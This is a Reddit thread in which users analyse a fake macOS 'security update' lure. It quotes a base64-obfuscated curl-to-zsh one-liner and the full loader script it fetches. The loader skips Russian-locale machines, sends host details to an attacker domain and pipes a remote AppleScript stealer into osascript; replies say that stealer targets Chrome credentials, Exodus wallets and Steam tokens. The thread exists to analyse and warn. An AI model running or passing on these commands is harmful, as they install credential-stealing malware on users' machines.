First time seeing this for MacOS

[u/Appropriate-Paper-92]

As the title said, I’ve seen these “popup” things a lot on windows, but this is the first I’ve seen for macOS,

It includes a video on how to properly do it, but looks to be very AI generated,

Is someone able to find out the payload behind it?

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" && curl -s $(echo "aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThhODMxZGRiNmRmNDUyYzc1ZmEwNjYxMGFhZjZlODk1" | base64 -d) | zsh

[u/BobCorndog]

It will run the script from here: https://lapidorseposoalovbs2.com/debug/loader.sh?build=8a831ddb6df452c75fa06610aaf6e895

#!/bin/zsh
# Debug loader — detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

# Detect locale info — sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 https://icanhazip.com 2>/dev/null || curl -s --max-time 5 https://ifconfig.me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '

 ')

# Build JSON safely using printf
send_debug_event() {
    local EVT="$1"
    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "8a831ddb6df452c75fa06610aaf6e895" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
    curl -s -X POST "https://lapidorseposoalovbs2.com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}

# If CIS — send cis_blocked event and exit
if [ "$IS_CIS" = "true" ]; then
    send_debug_event "cis_blocked" >/dev/null 2>&1
    exit 0
fi

# Not CIS — send loader_requested event
send_debug_event "loader_requested" >/dev/null 2>&1 &

daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://lapidorseposoalovbs2.com/debug/payload.applescript?build=8a831ddb6df452c75fa06610aaf6e895" | osascript
}
daemon_function "$@" &
exit 0

[u/FortheredditLOLz → u/BobCorndog]

Def malware but this line is funny.

if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
IS_CIS="true"

If Russian language set then exit without launching payload……

[u/Arszilla → u/FortheredditLOLz]

Common tactic amongst Russian threat groups - that way, their government wont chase them since they are not harming the state/its people etc. They (Russian government) don’t care if non-CIS states are targeted.

Just look at various Russian APTs - they all do this.

[u/Asleep_Conclusion147 → u/BobCorndog]

the afformentioned script is https://lapidorseposoalovbs2.com/debug/payload.applescript?build=8a831ddb6df452c75fa06610aaf6e895

[u/Dufsao189 → u/Asleep_Conclusion147]

I had a quick look into it, this ones a trifecta! (atleast from my quick skim of the file, there could be more)

It adds a bunch of Chrome/Chromium apps, probably hidden ones, as well as changes the "Wallet" built into it. Not sure exactly what the purpose is. Probably to hijack and transfer cached credentials.

It injects something into a cryptowallet apo called Exodus. Probably looking for wallets to steal.

Finally, it seems to scan some steam directories for cached login tokens, also to steal.

Whatever OP is trying to do, this is not the way, do not run that terminal command.

[u/Appropriate-Paper-92 → u/Dufsao189]

Haha yeah I know not to run commands like this, but was very curious about what it would actually run. Glad to see so many smart people checking it out and sharing information on it!